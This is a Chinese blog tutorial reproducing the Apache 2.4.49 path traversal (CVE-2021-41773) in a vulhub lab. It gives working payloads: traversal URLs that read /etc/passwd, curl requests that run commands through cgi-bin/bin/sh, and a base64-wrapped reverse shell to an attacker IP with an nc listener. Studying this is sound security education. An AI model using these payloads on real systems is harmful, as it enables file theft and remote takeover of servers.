Apache HTTP Server 2.4.49 路径穿越漏洞复现及利用

漏洞介绍

Apache HTTP Server是Apache基金会开源的一款流行的HTTP服务器。在其2.4.49版本中,引入了一个路径穿越漏洞,满足下面两个条件的Apache服务器将会受到影响:

  • 版本等于2.4.49
  • 穿越的目录允许被访问,比如配置了 <Directory/ >Require all granted < /Directory> 。(默认情况下是不允许的)

攻击者利用这个漏洞,可以读取位于Apache服务器Web目录以外的其他文件,或者读取Web目录中的脚本文件源码,或者在开启了cgi或cgid的服务器上执行任意命令。

Apache HTTP Server 2.4.49 路径穿越漏洞复现

准备一台装载有vulhububuntu,以及一台攻击机kali,靶机进入vulhub文件夹,直接就是一套丝滑连招

cd httpd/CVE-2021-41773
sudo docker-compose build
sudo docker-compose up -d

然后访问http:靶机IP:8080他就会告诉你他现在很正常,你可以开始乱搞了嗷。

这个咱也没见过大世面,这个界面干干净净的大家都很懵逼,就连f12也没有发现其他目录请求包,那么咱们又得借助一点小工具啦。嗷,直接打开御剑,把网站放上去好好检查检查

在这里插入图片描述
当然嗷,可能有些人扫不出来,扫不出来很正常,因为你的爆破本里没有这个目录所以扫不出来,这个爆破本都是自己一路走来积累的东西,概不外传嗷。发现了这个目录后我们就访问查看,就会发现这里的每个文件都能执行查看,那别说了,八成是配置了 <Directory/ >Require all granted < /Directory> ,就是上面说的,那么就可以通过这个进行目录穿越,从而导致隐私泄露
在这里插入图片描述

构造恶意访问URLhttp://靶机IP:8080/icons/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd,直接用浏览器访问发现请求的数据包会把咱们的前面那一串给过滤掉了

在这里插入图片描述所以我们打开burpsuite进行抓包,然后修改URL为/icons/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd,最终也是成功查看到了靶机的etc/passwd文件。当然也可以使用kali的curl命令,输入curl -v --path-as-is http://靶机IP:8080/icons/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd即可

在这里插入图片描述到下一步我们就可以利用该目录穿越漏洞查看其apache服务器是否启用了CGI,什么是CGI?

公共网关接口(Common Gateway Interface,CGI)是Web 服务器运行时外部程序的规范,按CGI 编写的程序可以扩展服务器功能。CGI 应用程序能与浏览器进行交互,还可通过数据API与数据库服务器等外部数据源进行通信,从数据库服务器中获取数据。格式化为HTML文档后,发送给浏览器,也可以将从浏览器获得的数据放到数据库中。几乎所有服务器都支持CGI

具体可以看这里嗷https://www.jianshu.com/p/7ad0d73bbd5b,如果他启用了的话,我们就可以利用它来执行我们的服务器命令语句,当配置了CGI时一般就会在web目录下存在一个名为cgi-bin的文件夹,话不多说,修改URL为/icons/%2e%2e/cgi-bin,发现返回了301,那就说明该目录存在

在这里插入图片描述直接curl命令,攻击机中输入 //检查字符是否为英文

curl -v --data “echo;ls” ‘http://靶机IP:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh’

这里是引用

查看可以使用的命令,可以看到里面可以使用touch命令,所以我们就拿他来试试看,输入命令 //检查字符是否为英文

curl -v --data “echo;touch /tmp/hacker” ‘http://靶机IP:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh’

然后到靶机中输入

sudo docker ps //记住你使用端口容器ID,记前两位就行
sudo docker exec -it 容器ID bash //用前两位就行
ls /tmp

就可以看到我们输入的命令执行成功了

在这里插入图片描述

Apache HTTP Server 2.4.49 路径穿越漏洞利用

刚刚的命令中我们可看到了当前用户还能使用bash命令,那么我们就可以构造反弹shell命令连接目标靶机

bash -i >& /dev/tcp/攻击机机ip/4444 0>&1

然后还得将该命令进行base64编码,形成

bash -c ‘{echo,你的base64编码值}|{base64,-d}|{bash,-i}’

再另启一个终端,输入

nc -lvvp 4444

回到原终端输入命令 //检查字符是否为英文

curl -v --data “echo;bash -c ‘{echo,你的base64编码值}|{base64,-d}|{bash,-i}’” ‘http://靶机IP:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh’

然后就能连接上目标靶机了
在这里插入图片描述

  • 6
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值